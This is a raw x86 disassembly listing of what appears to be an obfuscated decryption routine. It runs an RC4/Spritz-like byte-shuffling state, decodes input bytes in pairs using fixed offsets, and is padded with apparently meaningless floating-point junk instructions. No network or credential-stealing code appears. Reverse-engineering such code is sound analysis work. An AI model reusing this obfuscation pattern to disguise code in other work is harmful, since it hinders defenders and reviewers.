mov dword [ebp - 0x33b0], 0xff
jmp 0x491819
mov edx, dword [ebp - 0x33b0]
sub edx, 1
mov dword [ebp - 0x33b0], edx
cmp dword [ebp - 0x33b0], 0
jbe 0x491adf
mov dword [ebp - 0x5854], 0
mov dword [ebp - 0x5604], 1
mov dword [ebp - 0x4680], 0
mov eax, dword [ebp - 0x5604]
cmp eax, dword [ebp - 0x33b0]
jae 0x491865
mov ecx, dword [ebp - 0x5604]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x5604], ecx
jmp 0x491844
mov edx, dword [ebp - 0x4ad4]
mov dword [ebp - 0x5d90], edx
cmp dword [ebp - 0x5d90], 3
ja case.default.0x491884
mov eax, dword [ebp - 0x5d90]
jmp dword [eax*4 + 0x4de88c]
movzx ecx, byte [ebp - 0x340f]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x53bc]
call fcn.009b1700
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340f], bl
jmp 0x49198b
movzx eax, byte [ebp - 0x340f]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x53bc]
call fcn.009b1700
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340f], bl
jmp 0x49198b
movzx edx, byte [ebp - 0x340f]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x53bc]
call fcn.009b1700
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340f], bl
jmp 0x49198b
movzx ecx, byte [ebp - 0x340f]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x53bc]
call fcn.009b1700
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x340f], bl
jmp 0x49198b
movzx eax, byte [ebp - 0x340f]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [eax + ecx]
mov eax, dword [ebp - 0x4ad4]
sub eax, 4
shl eax, 0
add eax, dword [ebp - 0x6174]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x340f], dl
mov edx, dword [ebp - 0x4ad4]
add edx, 1
mov dword [ebp - 0x4ad4], edx
movzx eax, byte [ebp - 0x3da2]
cmp dword [ebp - 0x4ad4], eax
jb 0x4919c9
mov dword [ebp - 0x4ad4], 0
movzx ecx, byte [ebp - 0x3da2]
movzx edx, byte [ebp - 0x340f]
add edx, ecx
mov byte [ebp - 0x340f], dl
movzx eax, byte [ebp - 0x340f]
and eax, dword [ebp - 0x5604]
mov dword [ebp - 0x4680], eax
mov ecx, dword [ebp - 0x5854]
add ecx, 1
mov dword [ebp - 0x5854], ecx
cmp dword [ebp - 0x5854], 0xb
jbe 0x491a08
mov eax, dword [ebp - 0x4680]
xor edx, edx
div dword [ebp - 0x33b0]
mov dword [ebp - 0x4680], edx
mov edx, dword [ebp - 0x4680]
cmp edx, dword [ebp - 0x33b0]
ja 0x491865
mov eax, dword [ebp - 0x33b0]
cmp eax, dword [ebp - 0x4680]
je 0x491ada
mov ecx, dword [ebp - 0x33b0]
shl ecx, 0
lea edx, [ebp - 0x14d0]
mov eax, dword [ebp - 0x4680]
shl eax, 0
lea esi, [ebp - 0x14d0]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x33b0]
shl edx, 0
lea eax, [ebp - 0x14d0]
mov byte [edx + eax], cl
mov ecx, dword [ebp - 0x4680]
shl ecx, 0
lea edx, [ebp - 0x14d0]
mov eax, dword [ebp - 0x33b0]
shl eax, 0
lea esi, [ebp - 0x14d0]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x4680]
shl edx, 0
lea eax, [ebp - 0x14d0]
mov byte [edx + eax], cl
mov ecx, dword [ebp - 0x33b0]
shl ecx, 0
lea edx, [ebp - 0x14d0]
mov eax, dword [ebp - 0x4680]
shl eax, 0
lea esi, [ebp - 0x14d0]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x33b0]
shl edx, 0
lea eax, [ebp - 0x14d0]
mov byte [edx + eax], cl
jmp 0x49180a
mov ecx, 1
shl ecx, 0
lea edx, [ebp - 0x14d0]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3248], al
mov ecx, 1
imul edx, ecx, 3
lea eax, [ebp - 0x14d0]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3275], cl
mov edx, 1
imul eax, edx, 5
lea ecx, [ebp - 0x14d0]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x330f], dl
mov eax, 1
imul ecx, eax, 7
lea edx, [ebp - 0x14d0]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3267], al
movzx ecx, byte [ebp - 0x340f]
shl ecx, 0
lea edx, [ebp - 0x14d0]
mov al, byte [ecx + edx]
mov byte [ebp - 0x32a5], al
mov dword [ebp - 0x5b48], 0x14
cmp dword [ebp - 0x5b48], 2
jle 0x493d96
mov ecx, dword [ebp - 0x5b48]
and ecx, 1
jne 0x493d96
mov dword [ebp - 0x33b0], 0
mov dword [ebp - 0x35e4], 0
mov edx, dword [ebp - 0x35e4]
add edx, 1
mov dword [ebp - 0x35e4], edx
mov dword [ebp - 0x3a90], 0
mov eax, dword [ebp - 0x33b0]
shl eax, 1
mov dword [ebp - 0x3a90], eax
mov dword [ebp - 0x39f4], 0
mov ecx, dword [ebp - 0x3a90]
shl ecx, 0
add ecx, dword [ebp - 0x3ce0]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x39f4]
mov dword [ebp - 0x39f4], edx
mov dword [ebp - 0x39f0], 0
mov eax, dword [ebp - 0x39f0]
add eax, 0xb0
mov dword [ebp - 0x39f0], eax
mov dword [ebp - 0x3a94], 0
mov ecx, dword [ebp - 0x33b0]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3a94], ecx
mov dword [ebp - 0x39e8], 0
mov edx, dword [ebp - 0x3a94]
shl edx, 0
add edx, dword [ebp - 0x3ce0]
movzx eax, byte [edx]
add eax, dword [ebp - 0x39e8]
mov dword [ebp - 0x39e8], eax
mov dword [ebp - 0x3a38], 0
mov ecx, dword [ebp - 0x3a38]
add ecx, 0xe5
mov dword [ebp - 0x3a38], ecx
mov dword [ebp - 0x39e4], 0
mov edx, dword [ebp - 0x39f4]
sub edx, dword [ebp - 0x39f0]
add edx, dword [ebp - 0x39e4]
mov dword [ebp - 0x39e4], edx
mov dword [ebp - 0x39e0], 0
mov eax, dword [ebp - 0x39e8]
sub eax, dword [ebp - 0x3a38]
add eax, dword [ebp - 0x39e0]
mov dword [ebp - 0x39e0], eax
mov dword [ebp - 0x3a98], 0
mov ecx, dword [ebp - 0x39e4]
shl ecx, 4
mov dword [ebp - 0x3a98], ecx
mov dword [ebp - 0x3a9c], 0
mov edx, dword [ebp - 0x39e0]
mov dword [ebp - 0x3a9c], edx
mov dword [ebp - 0x3aa0], 0
mov eax, dword [ebp - 0x3a98]
or eax, dword [ebp - 0x3a9c]
mov dword [ebp - 0x3aa0], eax
mov byte [ebp - 0x3312], 0
mov cl, byte [ebp - 0x3aa0]
mov byte [ebp - 0x3312], cl
mov byte [ebp - 0x330e], 0
movzx edx, byte [ebp - 0x32a5]
shl edx, 0
lea eax, [ebp - 0x14d0]
mov cl, byte [edx + eax]
mov byte [ebp - 0x330e], cl
movss xmm0, dword [0x9d54ec]
movss dword [ebp - 0x4d80], xmm0
movss xmm0, dword [0x9d53d8]
movss dword [ebp - 0x4328], xmm0
movss xmm0, dword [0x9d52c0]
movss dword [ebp - 0x5858], xmm0
movss xmm0, dword [0x9d3664]
movss dword [ebp - 0x4460], xmm0
movss xmm0, dword [0x9d505c]
movss dword [ebp - 0x4084], xmm0
movss xmm0, dword [ebp - 0x4460]
mulss xmm0, dword [ebp - 0x4084]
movss dword [ebp - 0x4460], xmm0
movss xmm0, dword [ebp - 0x4328]
mulss xmm0, dword [ebp - 0x4084]
movss dword [ebp - 0x4328], xmm0
movss xmm0, dword [ebp - 0x5858]
mulss xmm0, dword [ebp - 0x4084]
movss dword [ebp - 0x5858], xmm0
movss xmm0, dword [ebp - 0x4328]
mulss xmm0, dword [ebp - 0x4084]
movss dword [ebp - 0x4328], xmm0
movss xmm0, dword [ebp - 0x4d80]
subss xmm0, dword [ebp - 0x4084]
movss dword [ebp - 0x4d80], xmm0
movss xmm0, dword [ebp - 0x4328]
comiss xmm0, dword [ebp - 0x4084]
jbe 0x491ea1
movss xmm0, dword [ebp - 0x4460]
addss xmm0, dword [ebp - 0x4084]
movss dword [ebp - 0x4460], xmm0
movzx edx, byte [ebp - 0x3248]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3275]
add edx, ecx
mov byte [ebp - 0x3275], dl
mov al, byte [ebp - 0x3248]
add al, 1
mov byte [ebp - 0x3248], al
movss xmm0, dword [ebp - 0x4d80]
subss xmm0, dword [ebp - 0x4328]
movss dword [ebp - 0x4d80], xmm0
movss xmm0, dword [ebp - 0x4084]
mulss xmm0, dword [ebp - 0x4d80]
movss dword [ebp - 0x4084], xmm0
movss xmm0, dword [ebp - 0x4084]
addss xmm0, dword [ebp - 0x4d80]
movss dword [ebp - 0x4084], xmm0
movss xmm0, dword [ebp - 0x4460]
addss xmm0, dword [ebp - 0x4084]
movss dword [ebp - 0x4460], xmm0
jmp 0x491f19
movss xmm0, dword [ebp - 0x4460]
mulss xmm0, dword [ebp - 0x4d80]
movss dword [ebp - 0x4460], xmm0
movss xmm0, dword [ebp - 0x4328]
divss xmm0, dword [ebp - 0x4460]
movss dword [ebp - 0x4328], xmm0
movss xmm0, dword [ebp - 0x4328]
divss xmm0, dword [ebp - 0x4460]
movss dword [ebp - 0x4328], xmm0
movss xmm0, dword [ebp - 0x5858]
subss xmm0, dword [ebp - 0x4084]
movss dword [ebp - 0x5858], xmm0
movss xmm0, dword [ebp - 0x4328]
divss xmm0, dword [ebp - 0x4460]
movss dword [ebp - 0x4328], xmm0
movzx ecx, byte [ebp - 0x3275]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [ebp - 0x32a5]
shl eax, 0
lea esi, [ebp - 0x14d0]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3267]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ebp - 0x3275]
shl ecx, 0
lea esi, [ebp - 0x14d0]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3248]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [ebp - 0x3267]
shl edx, 0
lea esi, [ebp - 0x14d0]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3248]
shl ecx, 0
lea edx, [ebp - 0x14d0]
mov al, byte [ebp - 0x330e]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x330e]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x330f]
add ecx, eax
mov byte [ebp - 0x330f], cl
movzx edx, byte [ebp - 0x3312]
movzx eax, byte [ebp - 0x3275]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3248]
shl ecx, 0
lea esi, [ebp - 0x14d0]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3267]
shl ecx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x32a5]
shl eax, 0
lea esi, [ebp - 0x14d0]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x330f]
shl eax, 0
lea esi, [ebp - 0x14d0]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3267], dl
mov dl, byte [ebp - 0x3312]
mov byte [ebp - 0x32a5], dl
mov al, byte [ebp - 0x3267]
mov byte [ebp - 0x33fa], al
cmp dword [ebp - 0x33b0], 0
jbe 0x4920ad
mov ecx, dword [ebp - 0x33b0]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x1c]
mov al, byte [ebp - 0x33fa]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x33b0]
add ecx, 1
mov dword [ebp - 0x33b0], ecx
mov edx, dword [ebp - 0x35e4]
add edx, 1
mov dword [ebp - 0x35e4], edx
mov eax, dword [ebp - 0x33b0]
shl eax, 1
mov dword [ebp - 0x3a90], eax
mov ecx, dword [ebp - 0x3a90]
shl ecx, 0
add ecx, dword [ebp - 0x3ce0]
movzx edx, byte [ecx]
mov dword [ebp - 0x39f4], edx
mov dword [ebp - 0x39f0], 0xb0
mov eax, dword [ebp - 0x33b0]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3a94], eax
mov ecx, dword [ebp - 0x3a94]
shl ecx, 0
add ecx, dword [ebp - 0x3ce0]
movzx edx, byte [ecx]
mov dword [ebp - 0x39e8], edx
mov dword [ebp - 0x3a38], 0xe5
mov eax, dword [ebp - 0x39f4]
sub eax, dword [ebp - 0x39f0]
mov dword [ebp - 0x39e4], eax
mov ecx, dword [ebp - 0x39e8]
sub ecx, dword [ebp - 0x3a38]
mov dword [ebp - 0x39e0], ecx
mov edx, dword [ebp - 0x39e4]
shl edx, 4
mov dword [ebp - 0x3a98], edx
mov eax, dword [ebp - 0x39e0]
mov dword [ebp - 0x3a9c], eax
mov ecx, dword [ebp - 0x3a98]
or ecx, dword [ebp - 0x3a9c]
mov dword [ebp - 0x3aa0], ecx
mov dl, byte [ebp - 0x3aa0]
mov byte [ebp - 0x3312], dl
movzx eax, byte [ebp - 0x32a5]
shl eax, 0
lea ecx, [ebp - 0x14d0]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x330e], dl
movzx eax, byte [ebp - 0x3248]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3275]
add eax, edx
mov byte [ebp - 0x3275], al
mov cl, byte [ebp - 0x3248]
add cl, 1
mov byte [ebp - 0x3248], cl
movzx edx, byte [ebp - 0x3275]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ebp - 0x32a5]
shl ecx, 0
lea esi, [ebp - 0x14d0]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3267]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [ebp - 0x3275]
shl edx, 0
lea esi, [ebp - 0x14d0]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3248]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [ebp - 0x3267]
shl eax, 0
lea esi, [ebp - 0x14d0]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3248]
shl edx, 0
lea eax, [ebp - 0x14d0]
mov cl, byte [ebp - 0x330e]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x330e]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x330f]
add edx, ecx
mov byte [ebp - 0x330f], dl
movzx eax, byte [ebp - 0x3312]
movzx ecx, byte [ebp - 0x3275]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3248]
shl edx, 0
lea esi, [ebp - 0x14d0]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3267]
shl edx, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x32a5]
shl ecx, 0
lea esi, [ebp - 0x14d0]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x330f]
shl ecx, 0
lea esi, [ebp - 0x14d0]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3267], al
mov al, byte [ebp - 0x3312]
mov byte [ebp - 0x32a5], al
mov cl, byte [ebp - 0x3267]
mov byte [ebp - 0x33fa], cl
cmp dword [ebp - 0x33b0], 0
jbe 0x49236b
mov edx, dword [ebp - 0x33b0]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x1c]
mov cl, byte [ebp - 0x33fa]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x33b0]
add edx, 1
mov dword [ebp - 0x33b0], edx
mov eax, dword [ebp - 0x35e4]
add eax, 1
mov dword [ebp - 0x35e4], eax
mov ecx, dword [ebp - 0x33b0]
shl ecx, 1
mov dword [ebp - 0x3a90], ecx
mov edx, dword [ebp - 0x3a90]
shl edx, 0
add edx, dword [ebp - 0x3ce0]
movzx eax, byte [edx]
mov dword [ebp - 0x39f4], eax
mov dword [ebp - 0x39f0], 0xb0
mov ecx, dword [ebp - 0x33b0]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3a94], ecx
mov edx, dword [ebp - 0x3a94]
shl edx, 0
add edx, dword [ebp - 0x3ce0]
movzx eax, byte [edx]
mov dword [ebp - 0x39e8], eax
mov dword [ebp - 0x3a38], 0xe5
mov ecx, dword [ebp - 0x39f4]
sub ecx, dword [ebp - 0x39f0]
mov dword [ebp - 0x39e4], ecx
mov edx, dword [ebp - 0x39e8]
sub edx, dword [ebp - 0x3a38]
mov dword [ebp - 0x39e0], edx
mov eax, dword [ebp - 0x39e4]
shl eax, 4
mov dword [ebp - 0x3a98], eax
mov ecx, dword [ebp - 0x39e0]
mov dword [ebp - 0x3a9c], ecx
mov edx, dword [ebp - 0x3a98]
or edx, dword [ebp - 0x3a9c]
mov dword [ebp - 0x3aa0], edx
mov al, byte [ebp - 0x3aa0]
mov byte [ebp - 0x3312], al
movzx ecx, byte [ebp - 0x32a5]
shl ecx, 0
lea edx, [ebp - 0x14d0]
mov al, byte [ecx + edx]
mov byte [ebp - 0x330e], al
movzx ecx, byte [ebp - 0x3248]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3275]
add ecx, eax
mov byte [ebp - 0x3275], cl
mov dl, byte [ebp - 0x3248]
add dl, 1
mov byte [ebp - 0x3248], dl
movzx eax, byte [ebp - 0x3275]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [ebp - 0x32a5]
shl edx, 0
lea esi, [ebp - 0x14d0]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3267]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [ebp - 0x3275]
shl eax, 0
lea esi, [ebp - 0x14d0]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3248]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ebp - 0x3267]
shl ecx, 0
lea esi, [ebp - 0x14d0]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3248]
shl eax, 0
lea ecx, [ebp - 0x14d0]
mov dl, byte [ebp - 0x330e]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x330e]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x330f]
add eax, edx
mov byte [ebp - 0x330f], al
movzx ecx, byte [ebp - 0x3312]
movzx edx, byte [ebp - 0x3275]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3248]
shl eax, 0
lea esi, [ebp - 0x14d0]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3267]
shl eax, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x32a5]
shl edx, 0
lea esi, [ebp - 0x14d0]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x330f]
shl edx, 0
lea esi, [ebp - 0x14d0]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3267], cl
mov cl, byte [ebp - 0x3312]
mov byte [ebp - 0x32a5], cl
mov dl, byte [ebp - 0x3267]
mov byte [ebp - 0x33fa], dl
cmp dword [ebp - 0x33b0], 0
jbe 0x492628
mov eax, dword [ebp - 0x33b0]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x1c]
mov dl, byte [ebp - 0x33fa]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x35e4]
add eax, 2
mov dword [ebp - 0x35e4], eax
mov ecx, dword [ebp - 0x33b0]
add ecx, 1
mov dword [ebp - 0x4ad0], ecx
jmp 0x492657
mov edx, dword [ebp - 0x4ad0]
add edx, 1
mov dword [ebp - 0x4ad0], edx
mov eax, dword [ebp - 0x4ad0]
cmp eax, dword [ebp - 0x35e4]
jge 0x492a8e
mov ecx, dword [ebp - 0x33b0]
add ecx, 1
mov dword [ebp - 0x33b0], ecx
mov edx, dword [ebp - 0x33b0]
shl edx, 1
mov dword [ebp - 0x3a90], edx
movss xmm0, dword [0x9d581c]
movss dword [ebp - 0x47f0], xmm0
movss xmm0, dword [0x9d5720]
movss dword [ebp - 0x3f68], xmm0
movss xmm0, dword [0x9d54bc]
movss dword [ebp - 0x4d84], xmm0
movss xmm0, dword [0x9d521c]
movss dword [ebp - 0x4c64], xmm0
movss xmm0, dword [ebp - 0x3f68]
subss xmm0, dword [ebp - 0x4c64]
movss dword [ebp - 0x3f68], xmm0
movss xmm0, dword [ebp - 0x47f0]
addss xmm0, dword [ebp - 0x4c64]
movss dword [ebp - 0x47f0], xmm0
movss xmm0, dword [ebp - 0x3f68]
mulss xmm0, dword [ebp - 0x4c64]
movss dword [ebp - 0x3f68], xmm0
movss xmm0, dword [ebp - 0x3f68]
subss xmm0, dword [ebp - 0x4c64]
movss dword [ebp - 0x3f68], xmm0
movss xmm0, dword [ebp - 0x3f68]
comiss xmm0, dword [ebp - 0x4c64]
jbe 0x4927b1
mov eax, dword [ebp - 0x3a90]
shl eax, 0
add eax, dword [ebp - 0x3ce0]
movzx ecx, byte [eax]
mov dword [ebp - 0x39f4], ecx
movss xmm0, dword [ebp - 0x3f68]
subss xmm0, dword [ebp - 0x4d84]
movss dword [ebp - 0x3f68], xmm0
movss xmm0, dword [ebp - 0x3f68]
addss xmm0, dword [ebp - 0x4d84]
movss dword [ebp - 0x3f68], xmm0
movss xmm0, dword [ebp - 0x47f0]
addss xmm0, dword [ebp - 0x3f68]
movss dword [ebp - 0x47f0], xmm0
movss xmm0, dword [ebp - 0x4c64]
addss xmm0, dword [ebp - 0x47f0]
movss dword [ebp - 0x4c64], xmm0
jmp 0x492811
movss xmm0, dword [ebp - 0x4d84]
mulss xmm0, dword [ebp - 0x47f0]
movss dword [ebp - 0x4d84], xmm0
movss xmm0, dword [ebp - 0x47f0]
subss xmm0, dword [ebp - 0x4d84]
movss dword [ebp - 0x47f0], xmm0
movss xmm0, dword [ebp - 0x3f68]
divss xmm0, dword [ebp - 0x4c64]
movss dword [ebp - 0x3f68], xmm0
movss xmm0, dword [ebp - 0x4d84]
mulss xmm0, dword [ebp - 0x47f0]
movss dword [ebp - 0x4d84], xmm0
mov dword [ebp - 0x39f0], 0xb0
mov edx, dword [ebp - 0x33b0]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3a94], edx
mov eax, dword [ebp - 0x3a94]
shl eax, 0
add eax, dword [ebp - 0x3ce0]
movzx ecx, byte [eax]
mov dword [ebp - 0x39e8], ecx
mov dword [ebp - 0x3a38], 0xe5
mov edx, dword [ebp - 0x39f4]
sub edx, dword [ebp - 0x39f0]
mov dword [ebp - 0x39e4], edx
mov eax, dword [ebp - 0x39e8]
sub eax, dword [ebp - 0x3a38]
mov dword [ebp - 0x39e0], eax
mov ecx, dword [ebp - 0x39e4]
shl ecx, 4
mov dword [ebp - 0x3a98], ecx
mov edx, dword [ebp - 0x39e0]
mov dword [ebp - 0x3a9c], edx
mov eax, dword [ebp - 0x3a98]
or eax, dword [ebp - 0x3a9c]
mov dword [ebp - 0x3aa0], eax
mov cl, byte [ebp - 0x3aa0]
mov byte [ebp - 0x3312], cl
movzx edx, byte [ebp - 0x32a5]
shl edx, 0
lea eax, [ebp - 0x14d0]
mov cl, byte [edx + eax]
mov byte [ebp - 0x330e], cl
movzx edx, byte [ebp - 0x3248]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3275]
add edx, ecx
mov byte [ebp - 0x3275], dl
mov al, byte [ebp - 0x3248]
add al, 1
mov byte [ebp - 0x3248], al
movzx ecx, byte [ebp - 0x3275]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [ebp - 0x32a5]
shl eax, 0
lea esi, [ebp - 0x14d0]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3267]
shl edx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ebp - 0x3275]
shl ecx, 0
lea esi, [ebp - 0x14d0]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3248]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx edx, byte [ebp - 0x3267]
shl edx, 0
lea esi, [ebp - 0x14d0]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3248]
shl ecx, 0
lea edx, [ebp - 0x14d0]
mov al, byte [ebp - 0x330e]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x330e]
shl ecx, 0
lea edx, [ebp - 0x14d0]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x330f]
add ecx, eax
mov byte [ebp - 0x330f], cl
movzx edx, byte [ebp - 0x3312]
movzx eax, byte [ebp - 0x3275]
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3248]
shl ecx, 0
lea esi, [ebp - 0x14d0]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x14d0]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3267]
shl ecx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x32a5]
shl eax, 0
lea esi, [ebp - 0x14d0]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x330f]
shl eax, 0
lea esi, [ebp - 0x14d0]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x14d0]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3267], dl
mov dl, byte [ebp - 0x3312]
mov byte [ebp - 0x32a5], dl
mov al, byte [ebp - 0x3267]
mov byte [ebp - 0x33fa], al
cmp dword [ebp - 0x33b0], 0
jbe 0x492a89
mov ecx, dword [ebp - 0x33b0]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x1c]
mov al, byte [ebp - 0x33fa]
mov byte [ecx + edx], al
jmp 0x492648
mov ecx, dword [ebp - 0x35e4]
add ecx, 1
mov dword [ebp - 0x35e4], ecx
mov edx, dword [ebp - 0x33b0]
add edx, 1
mov dword [ebp - 0x33b0], edx
mov eax, dword [ebp - 0x35e4]
add eax, 1
mov dword [ebp - 0x35e4], eax
mov ecx, dword [ebp - 0x33b0]
shl ecx, 1
mov dword [ebp - 0x3a90], ecx
mov edx, dword [ebp - 0x3a90]
shl edx, 0
add edx, dword [ebp - 0x3ce0]
movzx eax, byte [edx]
mov dword [ebp - 0x39f4], eax
mov dword [ebp - 0x39f0], 0xb0
mov ecx, dword [ebp - 0x33b0]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3a94], ecx
mov edx, dword [ebp - 0x3a94]
shl edx, 0
add edx, dword [ebp - 0x3ce0]
movzx eax, byte [edx]
mov dword [ebp - 0x39e8], eax
mov dword [ebp - 0x3a38], 0xe5
mov ecx, dword [ebp - 0x39f4]
sub ecx, dword [ebp - 0x39f0]
mov dword [ebp - 0x39e4], ecx
mov edx, dword [ebp - 0x39e8]
sub edx, dword [ebp - 0x3a38]
mov dword [ebp - 0x39e0], edx
